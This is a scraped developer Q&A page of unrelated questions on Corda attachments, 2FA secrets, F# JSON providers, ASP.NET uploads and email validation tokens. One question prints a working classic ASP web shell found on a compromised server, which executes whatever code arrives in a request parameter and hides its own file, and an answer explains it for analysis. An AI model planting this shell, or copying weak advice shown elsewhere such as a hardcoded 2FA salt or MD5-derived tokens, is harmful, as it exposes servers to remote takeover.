Corda doesn't synchronize the attachment's fileName - corda

I have a question regarding uploading attachment in Corda.
In my application, I would like to attach a pdf in the transaction from provider to receiver. I used the method called uploadAttachmentWithMetadata method with a fileName to it to generate the hash.
Here are some simplified code snippets I tried:
Firstly, I get the hash
val pdfHash = proxy.uploadAttachmentWithMetadata(
ByteArrayInputStream(pdf),
identity,
"fileName")
Then I added the hash to the transaction:
txBuilder.addAttachment(pdfHash)
Once the transaction is done, I can retrieve the pdf by using the fileName in the provider side. However, I can not do the same thing in the receiver side. I checked the database in the receiver side and I couldn't found the fileName for each attachment, while provider does have it. So my question is: does Corda synchronize the fileName between nodes for the attachment? If so, how can I do it?

Here I answer the question myself.
After some discussion in the Corda slack channel and online searching, it seems that the MQ only "share" the attachment to the counter-party without its file name.
So, to fetch the attachment:
for provider party, you can get by name or get by hash:
val ids = proxy.queryAttachments(
AttachmentQueryCriteria.AttachmentsQueryCriteria(filenameCondition = Builder.equal(fileName)),
null
)
...
proxy.openAttachment(it)
for receiver party, if you really want to get the attachment, store the hash (in the state, or somewhere), then get it by hash.
proxy.openAttachment(SecureHash.parse(hash))
This is how I solve it in my special case. If you guys have any better idea, please leave your comments. I will really appreciate it.

Related

Correct logic to use when implementing 2fa on my site?

I am using the "sonata-project/google-authenticator" library. It allows me to generate a QR code as follows:
$g = new \Google\Authenticator\GoogleAuthenticator();
$salt = 'XJDDJKSLJNASDJNASDASDASD';
$secret = $uid.$salt;
$url = $g->getURL($uid, 'coinula.com', $secret);
My question is around this:
The secret I provide, is that the secret that these guys are showing to the user? So that secret is the "global" key and the qr code is just a picture version of this code?
Am I supposed to store the secret and keep it safe on my side? Or is that something that the user should be able to write down and decide if he wants to keep it. I.e. Is the purpose of the secret for me NOT to store it? Or is there a reason I must store it?
Turned out to be a dumb question, but I'll answer it anyway. The secret must be stored in order for you to match it to the user. Would've been nicer if you could specify your own secret. I suppose there might be a way, but I'm going ahead with this way. So I'll be using the secret that is generated and storing that in the DB in order to compare it.

How can the JsonProvider be used with URLs requiring authentication?

I want to do something very similar to what's shown in the docs for FSharp.Data:
The URL I'm requesting from though (TFS) requires client authentication. Is there any way I can provide this by propagating my Windows creds? I notice JsonProvider has a few other compile-time parameters, but none seem to be in support of this.
You don't have to provide a live URL as a type parameter to JsonProvider; you can also provide the filename of a sample file that reflects the structure you expect to see. With that feature, you can do the following steps:
First, log in to the service and save a JSON file that reflects the API you're going to use.
Next, do something like the following:
type TfsData = JsonProvider<"/path/to/sample/file.json">
let url = "https://example.com/login/etc"
// Use standard .Net API to log in with your Windows credentials
// Save the results in a variable `jsonResults`
let parsedResults = TfsData.Parse(jsonResults)
printfn "%A" parsedResults.Foo // At this point, Intellisense should work
This is all very generic, of course, since I don't know precisely what you need to do to log in to your service; presumably you already know how to do that. The key is to retrieve the JSON yourself, then use the .Parse() method of your provided type to parse it.

VB malware tool reverse-engineering

I have found interesting malware on my server, which did some bad thing.
Now I am trying to reverse-engineering it, but due to complete lack of knowledge of VB\ASP I need to ask your help, colleagues.
<%
Function MorfiCoder(Code)
MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf)
End Function
Execute MorfiCoder(")/*/srerif/*/(tseuqer lave")
Set fso=CreateObject("Scripting.FileSystemObject")
Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED"))
if f.attributes <> 39 then
f.attributes = 39
end if
%>
As I understood - it executes some command and creates file somewhere with system\hidden attributes.
The main question is - how to use it, i.e. from logs I see, that hacker uploaded this file and used POST to command this. I want to command this too to understand, how he was able to upload files to some folders, which he should be able to do so.
Any advices are welcome. Sample with curl POST would be amazing.
No don't need knowledge in VB to research what that code does; just read the documentation.
MorfiCoder(")/*/srerif/*/(tseuqer lave") returns eval request("firers") (I assume functions like Replace or StrReverse are obvious).
Execute and eval are self-explanatory; the docs for request are here:
The Request object retrieves the values that the client browser passed to the server during an HTTP request.
So, whatever string is in the firers request variable, it will be executed (you said you already know that your attacker used a simply POST to send data to his script).
Set fso=CreateObject("Scripting.FileSystemObject") creates a FileSystemObject Object.
Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED")) creates a File Object; using the path in PATH_TRANSLATED.
Then some attributes (Archive, System, Hidden, ReadOnly) are set on that file object (to hide this script).
Why your attacker was able to upload this file to your server obviously can't be answered by the information you provided, and would also be out of scope of this question and probably off topic to stackoverflow.

File upload in ASP.NET - How can I prevent exceptions?

I have a FileUploader control in my web form. If the file being uploaded is already present, I want to delete it, and overwrite it with the newly-uploaded file. But I get an error, as the file is in use by another process, and thus the application can't delete it. Sample code:
if (FUpload.HasFile)
{
string FileName = Path.GetFileName(FUpload.PostedFile.FileName);
string Extension = Path.GetExtension(FUpload.PostedFile.FileName);
string FolderPath = ConfigurationManager.AppSettings["FolderPath"];
string FilePath = Server.MapPath(FolderPath + FileName);
if (File.Exists(FilePath))
{
File.Delete(FilePath);
}
FUpload.SaveAs(FilePath);
}
Is there anything I can do apart from writing the code in try/catch blocks?
Generate a unique temporary file name. Rename it to your destination when complete. You may still have collisions if someone uploads the "same" file name at the same time. You should always be catching file system errors somewhere. If you don't do it here, may I suggest a global error handler in global.asax.
you can save you file with some other name and after that if it exist use File.Replace to replace old file
At the end of the day, due to potential race conditions on your web site (due to, hopefully, concurrent users), you can't get around try/catch. (Why are you averse to it?)
Utkarsh and No Refunds No Returns have the basic answer right -- save it with a temporary file name, then replace/overwrite the existing one if needed. A good approach for this is to use a GUID as the temporary file name, to ensure that there are no collisions on the filename alone.
Depending on the nature of your application, you could get quite a few files stacked up, uploaded by different users, with lots of potential name conflicts. Depending on the nature and scale of your app, as well as its security boundaries, you might consider giving each user his/her own directory, based on user ID (how you'd identify the user in the database). Each user uploads his/her files there. If there's a name collision, you can bounce back to the user (holding the GUID name in session if needed) and ask if he/she wants to overwrite, and know with confidence that the answer is safe.
If the user declines to overwrite, you can delete your temp file.
If the user agrees to overwrite, you can delete the original and write the new one.
In either event, all of this is localized to the user's own directory, and thus (unless multiple users are signed on with the same ID) the behavior is safe.
In general, this will be more robust and safe than arbitrarily overwriting file name collisions.
Again, due to race conditions and other situations beyond your control, you need to use a try/catch block any time you attempt to write to the file system. Why? What if the drive is out of space? What if the file you are attempting to overwrite is legitimately in use by another process? What if the file you are attempting to overwrite has NTFS permissions forbidding the web process from touching it? So on and so forth. You need to be prepared to handle these kinds of exceptions.

Generation of Email Validation Links

For a Web Application I'd like to generate an email validation link and send it to the user. Like on many public websites, the user should click it to validate his email address. Looks similar to this:
http://www.foo.bar/validation?code=421affe123j4h141k2l3bjkbf43134kjbfkl34bfk3b4fkjb43ffe
Can anybody help me with some hints about the proper generation of those validation tokens? Googling best practices turned out to be more difficult than I though it would be. The links should:
... not require the user to log in first.
... not reveal any login credentials to keep the application secure
... allow me as a developer to efficiently validate the token. I'm pretty sure I need a way to extract the user identifier out of the code to meet this criteria. Don't I?
Furthermore, would you go for a random code, which is saved somewhere, or a generated code which I can recalculate for validation?
Thanks for any replies!
Matthias
P.S. I'm working with ASP.NET 3.5, in case there's an out-of-the-box feature to perform this.
Some suggestions to get you started:
Use GUIDs
Use some sort of salted hash (MD5, SHA1, etc)
Use a random string of characters (the more characters the less likely you'll have collisions)
Store it in a database temporarily, and timestamp it so that it expires after a certain period of time
The simplest way to do it is generate a GUID, store that in the database tying it to their user account and then give them a time-frame within which to click a link with that GUID in.
That validates they are the correct person without making the URL calculable whilst making it resistant to dictionary style attacks.
I construct the hash in a way that can be re-created:
code = MD5( my_hash + user_email + register_timestamp )
Then send a link to http://example.com/validation/?code = 4kj34....
Validation does a lookup like:
SELECT id
FROM users
WHERE
MD5( CONCAT( my_hash, user_email, register_timestamp ) ) = code
AND activated = 0
If you get a single result, update their 'activated' field and sign them in. You can also do some math on their 'register_timestamp' field for a poor man's TTL
I would probably use a Guid. Just create a Guid (by calling Guid.NewGuid()), store it as the validation token for that user, and include it in the validation link.

Resources